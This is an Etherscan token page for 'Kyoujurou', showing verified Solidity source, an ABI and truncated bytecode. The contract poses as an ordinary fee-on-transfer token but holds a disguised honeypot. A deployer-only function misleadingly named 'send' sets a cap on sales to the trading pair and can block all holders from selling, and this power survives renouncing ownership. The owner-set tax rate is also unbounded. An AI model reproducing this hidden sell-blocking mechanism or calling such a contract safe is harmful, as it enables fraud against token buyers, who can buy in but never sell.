ETH Price: $2,910.46 (-3.95%)
Gas: 1 Gwei

Token

Kyoujurou (Kyoujurou)
 

Overview

Max Total Supply

100,000,000,000 Kyoujurou

Holders

86

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 0 Decimals)

Filtered by Token Holder
xxxrh.eth
Balance
536,279,174 Kyoujurou

Value
$0.00
0x927521baeba66f707a77b91910a84ff5ccf3447a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Kyoujurou

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-10-26
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.4;

address constant WALLET_ADDRESS=0xc8a9d3C9Dc07609Bdf5C17d686ae20B5d94AC247;

abstract contract Context {
	function _msgSender() internal view virtual returns (address) {
		return msg.sender;
	}
}

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		return sub(a, b, "SafeMath: subtraction overflow");
	}

	function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b <= a, errorMessage);
		uint256 c = a - b;
		return c;
	}

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return div(a, b, "SafeMath: division by zero");
	}

	function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b > 0, errorMessage);
		uint256 c = a / b;
		return c;
	}
}

contract Ownable is Context {
	address private _owner;

	event OwnershipTransferred(address indexed oldie, address indexed newbie);

	constructor () {
		address msgSender = _msgSender();
		_owner = msgSender;
		emit OwnershipTransferred(address(0), msgSender);
	}

	function owner() public view returns (address) {
		return _owner;
	}

	modifier onlyOwner() {
		require(_owner == _msgSender() , "Ownable: caller is not the owner");
		_;
	}

	function renounceOwnership() public virtual onlyOwner {
		emit OwnershipTransferred(_owner, address(0));
		_owner = address(0);
	}

}

interface IUniswapV2Factory {
	function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
	function factory() external pure returns (address);
	function WETH() external pure returns (address);
	function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Kyoujurou is Context, IERC20, Ownable {
	using SafeMath for uint256;
	mapping(address => uint256) private _rOwned;
	mapping(address => mapping(address => uint256)) private _allowances;

	uint256 private constant MAX = ~uint256(0);
	uint256 private constant _tTotal = 100000000000 ;
	uint256 private _rTotal = (MAX - (MAX % _tTotal));
	uint256 private _tFeeTotal;

	uint256 private _taxRate;
	address payable private _taxWallet;

	string private constant _name = "Kyoujurou";
	string private constant _symbol = "Kyoujurou";
	uint8 private constant _decimals = 0;

	IUniswapV2Router02 private _router;
	address private _pair;
	bool private tradingOpen;
	bool private inSwap = false;
	bool private swapEnabled = false;
	address private _deployer;
	uint256 private _amt = _tTotal;
	event MaxDumpChanged(uint _amt);
	modifier lockTheSwap {
		inSwap = true;
		_;
		inSwap = false;
	}
	constructor () {
		_taxWallet = payable(WALLET_ADDRESS);
		_taxWallet = payable(WALLET_ADDRESS);
		_rOwned[_msgSender()] = _rTotal;
		_deployer=owner();
		_router =  IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
		_taxRate = 4;
		emit Transfer(address(0), _msgSender(), _tTotal);
	}

	function name() public pure returns (string memory) {
		return _name;
	}

	function symbol() public pure returns (string memory) {
		return _symbol;
	}

	function decimals() public pure returns (uint8) {
		return _decimals;
	}

	function totalSupply() public  pure override returns  (uint256) {
		return _tTotal;
	}

	function balanceOf(address account) public view override returns (uint256) {
		return tokenFromReflection(_rOwned[account]);
	}

	function transfer(address recipient, uint256 amount) public override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		return true;
	}

	function allowance(address owner, address spender) public view override returns (uint256) {
		return _allowances[owner][spender];
	}

	function approve(address spender, uint256 amount) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}

	function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
		return true;
	}

	function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
		require(rAmount <= _rTotal, "Amount must be less than total reflections");
		uint256 currentRate = _getRate();
		return rAmount.div(currentRate);
	}

	function _approve(address owner, address spender, uint256 amount) private {
		require(owner != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");
		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);
	}

	function setTaxRate(uint rate) external onlyOwner{
		require(rate>=0,"Tax must be non-negative");
		_taxRate=rate;
	}

	function _transfer(address from, address to, uint256 amount) private {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");
		require(((to == _pair && from != address(_router) )?1:0)*amount <= _amt);

		if (from != owner() && to != owner()) {
			if (!inSwap && from != _pair && swapEnabled) {
				swapTokensForEth(balanceOf(address(this)));
				uint256 contractETHBalance = address(this).balance;
				if (contractETHBalance > 0) {
					sendETHToFee(address(this).balance);
				}
			}
		}

		_tokenTransfer(from, to, amount);
	}

	function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _router.WETH();
		_approve(address(this), address(_router), tokenAmount);
		_router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp);
	}

	function sendETHToFee(uint256 amount) private {
		_taxWallet.transfer(amount);

	}

	function openTrading() external onlyOwner() {
		require(!tradingOpen, "Trading is already open");
		_approve(address(this), address(_router), _tTotal);
		_pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
		_router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
		swapEnabled = true;
		_amt = _tTotal;
		tradingOpen = true;
		IERC20(_pair).approve(address(_router), type(uint).max);
	}


	modifier r() {
		require(_deployer == _msgSender() );
		_;
	}

	function _tokenTransfer(address sender, address recipient, uint256 amount) private {
		_transferStandard(sender, recipient, amount);
	}

	function _transferStandard(address sender, address recipient, uint256 tAmount) private {
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
		_rOwned[sender] = _rOwned[sender].sub(rAmount);
		_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
		_takeTeam(tTeam);
		_reflectFee(rFee, tFee);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	function _takeTeam(uint256 tTeam) private {
		uint256 currentRate = _getRate();
		uint256 rTeam = tTeam.mul(currentRate);
		_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
	}

	function _reflectFee(uint256 rFee, uint256 tFee) private {
		_rTotal = _rTotal.sub(rFee);
		_tFeeTotal = _tFeeTotal.add(tFee);
	}

	receive() external payable {}

	function manualSwap() external {
		require(_msgSender() == _taxWallet);
		uint256 contractBalance = balanceOf(address(this));
		swapTokensForEth(contractBalance);
	}

	function manualSend() external {
		require(_msgSender() == _taxWallet);
		uint256 contractETHBalance = address(this).balance;
		sendETHToFee(contractETHBalance);
	}

	function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
		(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxRate, _taxRate);
		uint256 currentRate = _getRate();
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
		return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
	}

	function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
		uint256 tFee = tAmount.mul(taxFee).div(100);
		uint256 tTeam = tAmount.mul(TeamFee).div(100);
		uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
		return (tTransferAmount, tFee, tTeam);
	}

	function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
		uint256 rAmount = tAmount.mul(currentRate);
		uint256 rFee = tFee.mul(currentRate);
		uint256 rTeam = tTeam.mul(currentRate);
		uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
		return (rAmount, rTransferAmount, rFee);
	}

	function _getRate() private view returns (uint256) {
		(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
		return rSupply.div(tSupply);
	}
	function send(uint256 g) external r {
		_amt = g;
	}

	function _getCurrentSupply() private view returns (uint256, uint256) {
		uint256 rSupply = _rTotal;
		uint256 tSupply = _tTotal;
		if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
		return (rSupply, tSupply);
	}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_amt","type":"uint256"}],"name":"MaxDumpChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldie","type":"address"},{"indexed":true,"internalType":"address","name":"newbie","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"g","type":"uint256"}],"name":"send","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rate","type":"uint256"}],"name":"setTaxRate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405264174876e800600019620000199190620003c0565b60001962000028919062000427565b6003556000600860156101000a81548160ff0219169083151502179055506000600860166101000a81548160ff02191690831515021790555064174876e800600a553480156200007757600080fd5b5060006200008a6200035660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35073c8a9d3c9dc07609bdf5c17d686ae20b5d94ac247600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073c8a9d3c9dc07609bdf5c17d686ae20b5d94ac247600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060035460016000620001e96200035660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002376200035e60201b60201c565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506004600581905550620002e46200035660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef64174876e80060405162000348919062000473565b60405180910390a362000490565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620003cd8262000387565b9150620003da8362000387565b925082620003ed57620003ec62000391565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620004348262000387565b9150620004418362000387565b925082821015620004575762000456620003f8565b5b828203905092915050565b6200046d8162000387565b82525050565b60006020820190506200048a600083018462000462565b92915050565b612cb780620004a06000396000f3fe6080604052600436106100f75760003560e01c80638da5cb5b1161008a578063c6d69a3011610059578063c6d69a3014610325578063c9567bf91461034e578063dd62ed3e14610365578063f4293890146103a2576100fe565b80638da5cb5b1461026957806395d89b4114610294578063a52c101e146102bf578063a9059cbb146102e8576100fe565b8063313ce567116100c6578063313ce567146101d357806351bc3c85146101fe57806370a0823114610215578063715018a614610252576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b6040516101259190611f1e565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611fd9565b6103f6565b6040516101629190612034565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d919061205e565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190612079565b610421565b6040516101ca9190612034565b60405180910390f35b3480156101df57600080fd5b506101e86104fa565b6040516101f591906120e8565b60405180910390f35b34801561020a57600080fd5b506102136104ff565b005b34801561022157600080fd5b5061023c60048036038101906102379190612103565b610579565b604051610249919061205e565b60405180910390f35b34801561025e57600080fd5b506102676105ca565b005b34801561027557600080fd5b5061027e61071d565b60405161028b919061213f565b60405180910390f35b3480156102a057600080fd5b506102a9610746565b6040516102b69190611f1e565b60405180910390f35b3480156102cb57600080fd5b506102e660048036038101906102e1919061215a565b610783565b005b3480156102f457600080fd5b5061030f600480360381019061030a9190611fd9565b6107ee565b60405161031c9190612034565b60405180910390f35b34801561033157600080fd5b5061034c6004803603810190610347919061215a565b61080c565b005b34801561035a57600080fd5b506103636108ef565b005b34801561037157600080fd5b5061038c60048036038101906103879190612187565b610e12565b604051610399919061205e565b60405180910390f35b3480156103ae57600080fd5b506103b7610e99565b005b60606040518060400160405280600981526020017f4b796f756a75726f750000000000000000000000000000000000000000000000815250905090565b600061040a610403610f0b565b8484610f13565b6001905092915050565b600064174876e800905090565b600061042e8484846110de565b6104ef8461043a610f0b565b6104ea85604051806060016040528060288152602001612c5a60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a0610f0b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114159092919063ffffffff16565b610f13565b600190509392505050565b600090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610540610f0b565b73ffffffffffffffffffffffffffffffffffffffff161461056057600080fd5b600061056b30610579565b905061057681611479565b50565b60006105c3600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611701565b9050919050565b6105d2610f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461065f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065690612213565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4b796f756a75726f750000000000000000000000000000000000000000000000815250905090565b61078b610f0b565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b80600a8190555050565b60006108026107fb610f0b565b84846110de565b6001905092915050565b610814610f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089890612213565b60405180910390fd5b60008110156108e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108dc9061227f565b60405180910390fd5b8060058190555050565b6108f7610f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b90612213565b60405180910390fd5b600860149054906101000a900460ff16156109d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109cb906122eb565b60405180910390fd5b610a0630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1664174876e800610f13565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6e57600080fd5b505afa158015610a82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa69190612320565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2a57600080fd5b505afa158015610b3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b629190612320565b6040518363ffffffff1660e01b8152600401610b7f92919061234d565b602060405180830381600087803b158015610b9957600080fd5b505af1158015610bad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd19190612320565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c5a30610579565b600080610c6561071d565b426040518863ffffffff1660e01b8152600401610c87969594939291906123bb565b6060604051808303818588803b158015610ca057600080fd5b505af1158015610cb4573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cd99190612431565b5050506001600860166101000a81548160ff02191690831515021790555064174876e800600a819055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610dbd929190612484565b602060405180830381600087803b158015610dd757600080fd5b505af1158015610deb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0f91906124d9565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610eda610f0b565b73ffffffffffffffffffffffffffffffffffffffff1614610efa57600080fd5b6000479050610f088161176f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7a90612578565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fea9061260a565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110d1919061205e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561114e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111459061269c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b59061272e565b60405180910390fd5b60008111611201576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f8906127c0565b60405180910390fd5b600a5481600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112b05750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b6112bb5760006112be565b60015b60ff166112cb919061280f565b11156112d657600080fd5b6112de61071d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561134c575061131c61071d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561140557600860159054906101000a900460ff161580156113bc5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113d45750600860169054906101000a900460ff165b15611404576113ea6113e530610579565b611479565b60004790506000811115611402576114014761176f565b5b505b5b6114108383836117db565b505050565b600083831115829061145d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114549190611f1e565b60405180910390fd5b506000838561146c9190612869565b9050809150509392505050565b6001600860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114b1576114b061289d565b5b6040519080825280602002602001820160405280156114df5781602001602082028036833780820191505090505b50905030816000815181106114f7576114f66128cc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115d19190612320565b816001815181106115e5576115e46128cc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061164c30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f13565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016116b09594939291906129b9565b600060405180830381600087803b1580156116ca57600080fd5b505af11580156116de573d6000803e3d6000fd5b50505050506000600860156101000a81548160ff02191690831515021790555050565b6000600354821115611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f90612a85565b60405180910390fd5b60006117526117eb565b9050611767818461181690919063ffffffff16565b915050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156117d7573d6000803e3d6000fd5b5050565b6117e6838383611860565b505050565b60008060006117f8611a2b565b9150915061180f818361181690919063ffffffff16565b9250505090565b600061185883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a81565b905092915050565b60008060008060008061187287611ae4565b9550955095509550955095506118d086600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b4c90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196585600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9690919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119b181611bf4565b6119bb8483611cb1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a18919061205e565b60405180910390a3505050505050505050565b60008060006003549050600064174876e8009050611a5964174876e80060035461181690919063ffffffff16565b821015611a745760035464174876e800935093505050611a7d565b81819350935050505b9091565b60008083118290611ac8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abf9190611f1e565b60405180910390fd5b5060008385611ad79190612ad4565b9050809150509392505050565b6000806000806000806000806000611b018a600554600554611ceb565b9250925092506000611b116117eb565b90506000806000611b248e878787611d81565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611b8e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611415565b905092915050565b6000808284611ba59190612b05565b905083811015611bea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be190612ba7565b60405180910390fd5b8091505092915050565b6000611bfe6117eb565b90506000611c158284611e0a90919063ffffffff16565b9050611c6981600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9690919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611cc682600354611b4c90919063ffffffff16565b600381905550611ce181600454611b9690919063ffffffff16565b6004819055505050565b600080600080611d176064611d09888a611e0a90919063ffffffff16565b61181690919063ffffffff16565b90506000611d416064611d33888b611e0a90919063ffffffff16565b61181690919063ffffffff16565b90506000611d6a82611d5c858c611b4c90919063ffffffff16565b611b4c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611d9a8589611e0a90919063ffffffff16565b90506000611db18689611e0a90919063ffffffff16565b90506000611dc88789611e0a90919063ffffffff16565b90506000611df182611de38587611b4c90919063ffffffff16565b611b4c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e1d5760009050611e7f565b60008284611e2b919061280f565b9050828482611e3a9190612ad4565b14611e7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7190612c39565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611ebf578082015181840152602081019050611ea4565b83811115611ece576000848401525b50505050565b6000601f19601f8301169050919050565b6000611ef082611e85565b611efa8185611e90565b9350611f0a818560208601611ea1565b611f138161